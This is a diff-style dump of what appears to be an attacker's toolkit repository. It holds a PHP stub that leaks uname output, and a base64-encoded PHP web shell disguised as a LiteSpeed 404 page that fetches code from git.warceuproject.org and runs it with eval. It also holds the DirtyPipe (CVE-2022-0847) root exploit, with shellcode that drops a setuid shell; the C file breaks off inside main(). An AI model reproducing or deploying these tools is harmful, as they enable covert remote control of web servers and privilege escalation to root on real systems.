header("Access-Control-Allow-Origin: *");
|
||||
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
|
||||
header("Access-Control-Allow-Headers: Content-Type");
|
||||
|
||||
// Output JSON
|
||||
$unameInfo = exec('uname -a');
|
||||
echo json_encode(["uname" => $unameInfo]);
|
||||
?>
|
1
raw/wshell
Normal file
1
raw/wshell
Normal file
File diff suppressed because one or more lines are too long
124
raw/wshell2
Normal file
124
raw/wshell2
Normal file
@ -0,0 +1,124 @@
|
||||
PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKLy8gQVBJCiR2YWxpZF9rZXlfdXJsID0gImh0dHBzOi8v
|
||||
Z2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gvbWFpbi9hcGkv
|
||||
djEvd3NoZWxsLWtleSI7IC8vIEFQSSBLZXkKJHZhbGlkX2tleV9oYXNoID0gdHJpbShmaWxlX2dl
|
||||
dF9jb250ZW50cygkdmFsaWRfa2V5X3VybCkpOyAKCi8vIEZ1bmdzaQpmdW5jdGlvbiBzaG93X2xv
|
||||
Z2luX2Zvcm0oJGVycm9yX21lc3NhZ2UgPSAnJykgewogICAgPz4KICAgIDxodG1sIHN0eWxlPSJo
|
||||
ZWlnaHQ6MTAwJSI+CiAgICAgICAgPHNjcmlwdCBzcmM9ImNocm9tZS1leHRlbnNpb246Ly9lcHBp
|
||||
b2NlbWhtbmxiaGpwbGNna29mY2lpZWdvbWNvbi9jb250ZW50L2xvY2F0aW9uL2xvY2F0aW9uLmpz
|
||||
IiBpZD0iZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24iPjwvc2NyaXB0PjxzY3JpcHQg
|
||||
c3JjPSJjaHJvbWUtZXh0ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24v
|
||||
bGlicy9leHRlbmQtbmF0aXZlLWhpc3RvcnktYXBpLmpzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0i
|
||||
Y2hyb21lLWV4dGVuc2lvbjovL2VwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uL2xpYnMv
|
||||
cmVxdWVzdHMuanMiPjwvc2NyaXB0PjxoZWFkPgogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0
|
||||
IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW5rLXRv
|
||||
LWZpdD1ubyI+CiAgICAgICAgPHRpdGxlPiA0MDQgTm90IEZvdW5kPC90aXRsZT4KICAgICAgICA8
|
||||
c2NyaXB0IGJpc191c2U9InRydWUiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgY2hhcnNldD0idXRm
|
||||
LTgiIGRhdGEtYmlzLWNvbmZpZz0iWyZxdW90O2ZhY2Vib29rLmNvbS8mcXVvdDssJnF1b3Q7dHdp
|
||||
dHRlci5jb20vJnF1b3Q7LCZxdW90O3lvdXR1YmUtbm9jb29raWUuY29tL2VtYmVkLyZxdW90Oywm
|
||||
cXVvdDsvL3ZrLmNvbS8mcXVvdDssJnF1b3Q7Ly93d3cudmsuY29tLyZxdW90OywmcXVvdDtsaW5r
|
||||
ZWRpbi5jb20vJnF1b3Q7LCZxdW90Oy8vd3d3LmxpbmtlZGluLmNvbS8mcXVvdDssJnF1b3Q7Ly9p
|
||||
bnN0YWdyYW0uY29tLyZxdW90OywmcXVvdDsvL3d3dy5pbnN0YWdyYW0uY29tLyZxdW90OywmcXVv
|
||||
dDsvL3d3dy5nb29nbGUuY29tL3JlY2FwdGNoYS9hcGkyLyZxdW90OywmcXVvdDsvL2hhbmdvdXRz
|
||||
Lmdvb2dsZS5jb20vd2ViY2hhdC8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xlLmNvbS9jYWxlbmRh
|
||||
ci8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xlLmNvbS9tYXBzL2VtYmVkJnF1b3Q7LCZxdW90O3Nw
|
||||
b3RpZnkuY29tLyZxdW90OywmcXVvdDtzb3VuZGNsb3VkLmNvbS8mcXVvdDssJnF1b3Q7Ly9wbGF5
|
||||
ZXIudmltZW8uY29tLyZxdW90OywmcXVvdDsvL2Rpc3F1cy5jb20vJnF1b3Q7LCZxdW90Oy8vdGd3
|
||||
aWRnZXQuY29tLyZxdW90OywmcXVvdDsvL2pzLmRyaWZ0dC5jb20vJnF1b3Q7LCZxdW90O2ZyaWVu
|
||||
ZHMyZm9sbG93LmNvbSZxdW90OywmcXVvdDsvd2lkZ2V0JnF1b3Q7LCZxdW90O2xvZ2luJnF1b3Q7
|
||||
LCZxdW90Oy8vdmlkZW8uYmlnbWlyLm5ldC8mcXVvdDssJnF1b3Q7YmxvZ2dlci5jb20mcXVvdDss
|
||||
JnF1b3Q7Ly9zbWFydGxvY2suZ29vZ2xlLmNvbS8mcXVvdDssJnF1b3Q7Ly9rZWVwLmdvb2dsZS5j
|
||||
b20vJnF1b3Q7LCZxdW90Oy93ZWIudG9sc3RveWNvbW1lbnRzLmNvbS8mcXVvdDssJnF1b3Q7bW96
|
||||
LWV4dGVuc2lvbjovLyZxdW90OywmcXVvdDtjaHJvbWUtZXh0ZW5zaW9uOi8vJnF1b3Q7LCZxdW90
|
||||
Oy9hdXRoLyZxdW90OywmcXVvdDsvL2FuYWx5dGljcy5nb29nbGUuY29tLyZxdW90OywmcXVvdDth
|
||||
ZGNsYXJpdHkuY29tJnF1b3Q7LCZxdW90O3BhZGRsZS5jb20vY2hlY2tvdXQmcXVvdDssJnF1b3Q7
|
||||
aGNhcHRjaGEuY29tJnF1b3Q7LCZxdW90O3JlY2FwdGNoYS5uZXQmcXVvdDssJnF1b3Q7MmNhcHRj
|
||||
aGEuY29tJnF1b3Q7LCZxdW90O2FjY291bnRzLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7d3d3Lmdv
|
||||
b2dsZS5jb20vc2hvcHBpbmcvY3VzdG9tZXJyZXZpZXdzJnF1b3Q7LCZxdW90O2J1eS50aW55cGFz
|
||||
cy5jb20mcXVvdDssJnF1b3Q7Z3N0YXRpYy5jb20mcXVvdDssJnF1b3Q7c2VjdXJlaXIuZWJheXN0
|
||||
YXRpYy5jb20mcXVvdDssJnF1b3Q7ZG9jcy5nb29nbGUuY29tJnF1b3Q7LCZxdW90O2NvbnRhY3Rz
|
||||
Lmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7Z2l0aHViLmNvbSZxdW90OywmcXVvdDttYWlsLmdvb2ds
|
||||
ZS5jb20mcXVvdDssJnF1b3Q7Y2hhdC5nb29nbGUuY29tJnF1b3Q7LCZxdW90O2F1ZGlvLnhwbGVl
|
||||
ci5jb20mcXVvdDssJnF1b3Q7a2VlcGEuY29tJnF1b3Q7LCZxdW90O3N0YXRpYy54eC5mYmNkbi5u
|
||||
ZXQmcXVvdDssJnF1b3Q7c2FzLnNlbGxlcmFtcC5jb20mcXVvdDssJnF1b3Q7MXBsdXMxLnZpZGVv
|
||||
JnF1b3Q7LCZxdW90O2NvbnNvbGUuZ29vZ2xldGFnc2VydmljZXMuY29tJnF1b3Q7LCZxdW90Oy8v
|
||||
bG5rZC5kZW1kZXgubmV0LyZxdW90OywmcXVvdDsvL3JhZGFyLmNlZGV4aXMuY29tLyZxdW90Oywm
|
||||
cXVvdDsvL2xpLnByb3RlY2h0cy5uZXQvJnF1b3Q7LCZxdW90O2NoYWxsZW5nZXMuY2xvdWRmbGFy
|
||||
ZS5jb20vJnF1b3Q7LCZxdW90O29ncy5nb29nbGUuY29tJnF1b3Q7XSIgc3JjPSJjaHJvbWUtZXh0
|
||||
ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24vLi4vZXhlY3V0ZXJzL3Zp
|
||||
LXRyLmpzIj48L3NjcmlwdD4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIEBtZWRpYSAocHJl
|
||||
ZmVycy1jb2xvci1zY2hlbWU6ZGFyayl7Ym9keXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAhaW1wb3J0
|
||||
YW50fX0KICAgICAgICAgICAgLmlucHV0a2V5IHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQt
|
||||
Y29sb3I6ICMwMDA7CiAgICAgICAgICAgICAgICBib3JkZXI6IDAgIzAwMDsKICAgICAgICAgICAg
|
||||
ICAgIGNvbG9yOiBncmV5OwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5idG5rZXkgewogICAg
|
||||
ICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDsKICAgICAgICAgICAgICAgIGNvbG9y
|
||||
OiAjMDAwOwogICAgICAgICAgICB9CiAgICAgICAgICAgIDwvc3R5bGU+CiAgICAgICAgPC9oZWFk
|
||||
PgoKICAgICAgICA8Ym9keSBzdHlsZT0iY29sb3I6ICM0NDQ7IG1hcmdpbjowO2ZvbnQ6IG5vcm1h
|
||||
bCAxNHB4LzIwcHggQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgaGVpZ2h0OjEwMCU7IGJh
|
||||
Y2tncm91bmQtY29sb3I6ICNmZmY7IiBfX3Byb2Nlc3NlZF82NDI1MmNlZC00ZDk0LTQyNDUtYmU0
|
||||
My1hNjhmMDJhNGFlMjhfXz0idHJ1ZSIgYmlzX3JlZ2lzdGVyPSJXM3NpYldGemRHVnlJanAwY25W
|
||||
bExDSmxlSFJsYm5OcGIyNUpaQ0k2SW1Wd2NHbHZZMlZ0YUcxdWJHSm9hbkJzWTJkcmIyWmphV2xs
|
||||
WjI5dFkyOXVJaXdpWVdSaWJHOWphMlZ5VTNSaGRIVnpJanA3SWtSSlUxQk1RVmtpT2lKbGJtRmli
|
||||
R1ZrSWl3aVJrRkRSVUpQVDBzaU9pSmxibUZpYkdWa0lpd2lWRmRKVkZSRlVpSTZJbVZ1WVdKc1pX
|
||||
UWlMQ0pTUlVSRVNWUWlPaUpsYm1GaWJHVmtJaXdpVUVsT1ZFVlNSVk5VSWpvaVpXNWhZbXhsWkNJ
|
||||
c0lrbE9VMVJCUjFKQlRTSTZJbVZ1WVdKc1pXUWlMQ0pNU1U1TFJVUkpUaUk2SW1ScGMyRmliR1Zr
|
||||
SWl3aVEwOU9Sa2xISWpvaVpHbHpZV0pzWldRaWZTd2lkbVZ5YzJsdmJpSTZJakl1TUM0eE5pSXNJ
|
||||
bk5qYjNKbElqb3lNREF4TmpCOVhRPT0iPgogICAgICAgIDxkaXYgc3R5bGU9ImhlaWdodDphdXRv
|
||||
OyBtaW4taGVpZ2h0OjEwMCU7ICIgYmlzX3NraW5fY2hlY2tlZD0iMSI+ICAgICA8ZGl2IHN0eWxl
|
||||
PSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHdpZHRoOjgwMHB4OyBtYXJnaW4tbGVmdDogLTQwMHB4OyBw
|
||||
b3NpdGlvbjphYnNvbHV0ZTsgdG9wOiAzMCU7IGxlZnQ6NTAlOyIgYmlzX3NraW5fY2hlY2tlZD0i
|
||||
MSI+CiAgICAgICAgPGgxIHN0eWxlPSJtYXJnaW46MDsgZm9udC1zaXplOjE1MHB4OyBsaW5lLWhl
|
||||
aWdodDoxNTBweDsgZm9udC13ZWlnaHQ6Ym9sZDsiPjQwNDwvaDE+CiAgICAgICAgPGgyIHN0eWxl
|
||||
PSJtYXJnaW4tdG9wOjIwcHg7Zm9udC1zaXplOiAzMHB4OyI+Tm90IEZvdW5kCiAgICAgICAgPC9o
|
||||
Mj4KICAgICAgICA8cD5UaGUgcmVzb3VyY2UgcmVxdWVzdGVkIGNvdWxkIG5vdCBiZSBmb3VuZCBv
|
||||
biB0aGlzIHNlcnZlciE8L3A+CiAgICAgICAgPD9waHAgaWYgKCRlcnJvcl9tZXNzYWdlKTogPz4K
|
||||
ICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiByZWQ7Ij48P3BocCBlY2hvICRlcnJvcl9tZXNz
|
||||
YWdlOyA/PjwvcD4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICA8Zm9ybSBtZXRob2Q9
|
||||
InBvc3QiIGFjdGlvbj0iIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0ia2V5Ij48L2xhYmVsPgog
|
||||
ICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImlucHV0a2V5IiB0eXBlPSJwYXNzd29yZCIgbmFtZT0i
|
||||
a2V5IiBpZD0ia2V5IiByZXF1aXJlZD4KICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPgogICAg
|
||||
ICAgIDwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9ImNvbG9yOiNmMGYwZjA7IGZvbnQtc2l6ZToxMnB4
|
||||
O21hcmdpbjphdXRvO3BhZGRpbmc6MHB4IDMwcHggMHB4IDMwcHg7cG9zaXRpb246cmVsYXRpdmU7
|
||||
Y2xlYXI6Ym90aDtoZWlnaHQ6MTAwcHg7bWFyZ2luLXRvcDotMTAxcHg7YmFja2dyb3VuZC1jb2xv
|
||||
cjojNDc0NzQ3O2JvcmRlci10b3A6IDFweCBzb2xpZCByZ2JhKDAsMCwwLDAuMTUpO2JveC1zaGFk
|
||||
b3c6IDAgMXB4IDAgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpIGluc2V0OyIgYmlzX3NraW5fY2hl
|
||||
Y2tlZD0iMSI+CiAgICAgICAgPGJyPlByb3VkbHkgcG93ZXJlZCBieSBMaXRlU3BlZWQgV2ViIFNl
|
||||
cnZlcjxwPlBsZWFzZSBiZSBhZHZpc2VkIHRoYXQgTGl0ZVNwZWVkIFRlY2hub2xvZ2llcyBJbmMu
|
||||
IGlzIG5vdCBhIHdlYiBob3N0aW5nIGNvbXBhbnkgYW5kLCBhcyBzdWNoLCBoYXMgbm8gY29udHJv
|
||||
bCBvdmVyIGNvbnRlbnQgZm91bmQgb24gdGhpcyBzaXRlLjwvcD48L2Rpdj4KCiAgICA8L2JvZHk+
|
||||
CiAgICA8L2h0bWw+CiAgICA8P3BocAp9CgovLyBGdW5nc2kgTWVudWp1IERhc2hib2FyZApmdW5j
|
||||
dGlvbiBzaG93X2Rhc2hib2FyZCgpIHsKICAgIGZ1bmN0aW9uIGdldF9jb250ZW50cygkdXJsKSB7
|
||||
CiAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwg
|
||||
Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJM
|
||||
T1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf
|
||||
VVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8y
|
||||
MDEwMDEwMSBGaXJlZm94LzMyLjAiKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf
|
||||
U1NMX1ZFUklGWVBFRVIsIDApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xf
|
||||
VkVSSUZZSE9TVCwgMCk7CiAgICAgICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwogICAgICAg
|
||||
IGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAkaGFz
|
||||
aFVybCA9ICdodHRwczovL2dpdC53YXJjZXVwcm9qZWN0Lm9yZy9zeW4vd1NwbG9pdEh1Yi9yYXcv
|
||||
YnJhbmNoL21haW4vYXBpL3YyL3BheWxvYWRrZXknOwogICAgJGNvZGVVcmwgPSAnaHR0cHM6Ly9n
|
||||
aXQud2FyY2V1cHJvamVjdC5vcmcvc3luL3dTcGxvaXRIdWIvcmF3L2JyYW5jaC9tYWluL2FwaS92
|
||||
Mi93c2hlbGwnOwogICAgJGtleUhhc2ggPSB0cmltKGdldF9jb250ZW50cygkaGFzaFVybCkpOwog
|
||||
ICAgaWYgKGVtcHR5KCRrZXlIYXNoKSkgewogICAgICAgIGRpZSgiR2FnYWwgbWVuZ2FtYmlsIGhh
|
||||
c2gga2V5IGRhcmkgVVJMLlxuIik7CiAgICB9CiAgICAkZW5jb2RlZF9jb2RlID0gZ2V0X2NvbnRl
|
||||
bnRzKCRjb2RlVXJsKTsKICAgIGlmIChlbXB0eSgkZW5jb2RlZF9jb2RlKSkgewogICAgICAgIGRp
|
||||
ZSgiR2FnYWwgbWVuZ2FtYmlsIGtvZGUgdGVyZW5rcmlwc2kgZGFyaSBVUkwuXG4iKTsKICAgIH0K
|
||||
ICAgICRkZWNvZGVkX2NvZGUgPSBiYXNlNjRfZGVjb2RlKCRlbmNvZGVkX2NvZGUpOwogICAgJGNs
|
||||
ZWFuX2NvZGUgPSBzdHJfcmVwbGFjZSgka2V5SGFzaCwgJycsICRkZWNvZGVkX2NvZGUpOwogICAg
|
||||
CiAgICAvLyBNZW5qYWxhbmthbiBrb2RlIGxhbmdzdW5nIGRhcmkgbWVtb3JpCiAgICBldmFsKCI/
|
||||
PiIgLiAkY2xlYW5fY29kZSk7Cn0KCi8vIENlayBhcGFrYWggRGlhIEluZ2luIGtlbHVhciBoYXRp
|
||||
CmlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pICYmICRfR0VUWydhY3Rpb24nXSA9PT0gJ2xvZ291
|
||||
dCcpIHsKICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgaGVhZGVyKCJMb2NhdGlvbjogPyIpOyAv
|
||||
LyBSZWRpcmVjdCBrZSBIYXRpIG9yYW5nIGxhaW4KICAgIGV4aXQ7Cn0KCi8vIENlayBhcGFrYWgg
|
||||
RGlhIHN1ZGFoIG1lbWlsaWtpIHNlc2VvcmFuZz8KJGVycm9yX21lc3NhZ2UgPSAnJzsKaWYgKGlz
|
||||
c2V0KCRfUE9TVFsna2V5J10pKSB7CiAgICAkaW5wdXRfa2V5ID0gJF9QT1NUWydrZXknXTsKICAg
|
||||
ICRpbnB1dF9rZXlfaGFzaCA9IG1kNSgkaW5wdXRfa2V5KTsgCgogICAgLy8gQ2VrIGFwYWthaCBD
|
||||
aW50YWt1IHBhZGFueWEgZGl0ZXJpbWE/IAogICAgaWYgKCRpbnB1dF9rZXlfaGFzaCA9PT0gJHZh
|
||||
bGlkX2tleV9oYXNoKSB7CiAgICAgICAgJF9TRVNTSU9OWydsb2dnZWRpbiddID0gdHJ1ZTsKICAg
|
||||
ICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/Iik7IC8vIFJlZGlyZWN0IGtlIEhhdGkgRGlhIHVudHVr
|
||||
IHJlZnJlc2gKICAgICAgICBleGl0OwogICAgfSBlbHNlIHsKICAgICAgICAkZXJyb3JfbWVzc2Fn
|
||||
ZSA9ICJoYXRpbXUgVGlkYWsgZGl0ZXJpbWEsIENvYmFsYWggdW50dWsgc2FkYXIgZGlyaSEiOyAv
|
||||
LyBLZXNhbGFoYW4gSGF0aQogICAgfQp9CgovLyBKaWthIHN1ZGFoIGxvZ2luIGtlIGhhdGlueWEK
|
||||
aWYgKGlzc2V0KCRfU0VTU0lPTlsnbG9nZ2VkaW4nXSkgJiYgJF9TRVNTSU9OWydsb2dnZWRpbidd
|
||||
ID09PSB0cnVlKSB7CiAgICBzaG93X2Rhc2hib2FyZCgpOwp9IGVsc2UgewogICAgLy8gSmlrYSBi
|
||||
ZWx1bSBsb2dpbgogICAgc2hvd19sb2dpbl9mb3JtKCRlcnJvcl9tZXNzYWdlKTsKfQo/Pgo=
|
0
rooting/.null
Normal file
0
rooting/.null
Normal file
214
rooting/50808.c
Normal file
214
rooting/50808.c
Normal file
@ -0,0 +1,214 @@
|
||||
// Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
|
||||
// Exploit Author: blasty (peter@haxx.in)
|
||||
// Original Author: Max Kellermann (max.kellermann@ionos.com)
|
||||
// CVE: CVE-2022-0847
|
||||
|
||||
/* SPDX-License-Identifier: GPL-2.0 */
|
||||
/*
|
||||
* Copyright 2022 CM4all GmbH / IONOS SE
|
||||
*
|
||||
* author: Max Kellermann <max.kellermann@ionos.com>
|
||||
*
|
||||
* Proof-of-concept exploit for the Dirty Pipe
|
||||
* vulnerability (CVE-2022-0847) caused by an uninitialized
|
||||
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
|
||||
* file contents in the page cache, even if the file is not permitted
|
||||
* to be written, immutable or on a read-only mount.
|
||||
*
|
||||
* This exploit requires Linux 5.8 or later; the code path was made
|
||||
* reachable by commit f6dd975583bd ("pipe: merge
|
||||
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
|
||||
* there before, it just provided an easy way to exploit it.
|
||||
*
|
||||
* There are two major limitations of this exploit: the offset cannot
|
||||
* be on a page boundary (it needs to write one byte before the offset
|
||||
* to add a reference to this page to the pipe), and the write cannot
|
||||
* cross a page boundary.
|
||||
*
|
||||
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
|
||||
*
|
||||
* Further explanation: https://dirtypipe.cm4all.com/
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/user.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifndef PAGE_SIZE
|
||||
#define PAGE_SIZE 4096
|
||||
#endif
|
||||
|
||||
// small (linux x86_64) ELF file matroshka doll that does;
|
||||
// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
|
||||
// write(fd, elfcode, elfcode_len)
|
||||
// chmod("/tmp/sh", 04755)
|
||||
// close(fd);
|
||||
// exit(0);
|
||||
//
|
||||
// the dropped ELF simply does:
|
||||
// setuid(0);
|
||||
// setgid(0);
|
||||
// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
|
||||
unsigned char elfcode[] = {
|
||||
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
|
||||
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
|
||||
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
|
||||
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
|
||||
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
|
||||
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
|
||||
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
|
||||
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
|
||||
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
|
||||
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
|
||||
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
|
||||
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
|
||||
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
|
||||
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
|
||||
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
|
||||
};
|
||||
|
||||
/**
|
||||
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
|
||||
* PIPE_BUF_FLAG_CAN_MERGE flag set.
|
||||
*/
|
||||
static void prepare_pipe(int p[2])
|
||||
{
|
||||
if (pipe(p)) abort();
|
||||
|
||||
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
|
||||
static char buffer[4096];
|
||||
|
||||
/* fill the pipe completely; each pipe_buffer will now have
|
||||
the PIPE_BUF_FLAG_CAN_MERGE flag */
|
||||
for (unsigned r = pipe_size; r > 0;) {
|
||||
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
|
||||
write(p[1], buffer, n);
|
||||
r -= n;
|
||||
}
|
||||
|
||||
/* drain the pipe, freeing all pipe_buffer instances (but
|
||||
leaving the flags initialized) */
|
||||
for (unsigned r = pipe_size; r > 0;) {
|
||||
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
|
||||
read(p[0], buffer, n);
|
||||
r -= n;
|
||||
}
|
||||
|
||||
/* the pipe is now empty, and if somebody adds a new
|
||||
pipe_buffer without initializing its "flags", the buffer
|
||||
will be mergeable */
|
||||
}
|
||||
|
||||
int hax(char *filename, long offset, uint8_t *data, size_t len) {
|
||||
/* open the input file and validate the specified offset */
|
||||
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
|
||||
if (fd < 0) {
|
||||
perror("open failed");
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct stat st;
|
||||
if (fstat(fd, &st)) {
|
||||
perror("stat failed");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* create the pipe with all flags initialized with
|
||||
PIPE_BUF_FLAG_CAN_MERGE */
|
||||
int p[2];
|
||||
prepare_pipe(p);
|
||||
|
||||
/* splice one byte from before the specified offset into the
|
||||
pipe; this will add a reference to the page cache, but
|
||||
since copy_page_to_iter_pipe() does not initialize the
|
||||
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
|
||||
--offset;
|
||||
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
|
||||
if (nbytes < 0) {
|
||||
perror("splice failed");
|
||||
return -1;
|
||||
}
|
||||
if (nbytes == 0) {
|
||||
fprintf(stderr, "short splice\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* the following write will not create a new pipe_buffer, but
|
||||
will instead write into the page cache, because of the
|
||||
PIPE_BUF_FLAG_CAN_MERGE flag */
|
||||
nbytes = write(p[1], data, len);
|
||||
if (nbytes < 0) {
|
||||
perror("write failed");
|
||||
return -1;
|
||||
}
|
||||
if ((size_t)nbytes < len) {
|
||||
fprintf(stderr, "short write\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s SUID\n", argv[0]);
|
||||
return EXIT_FAILURE;
|
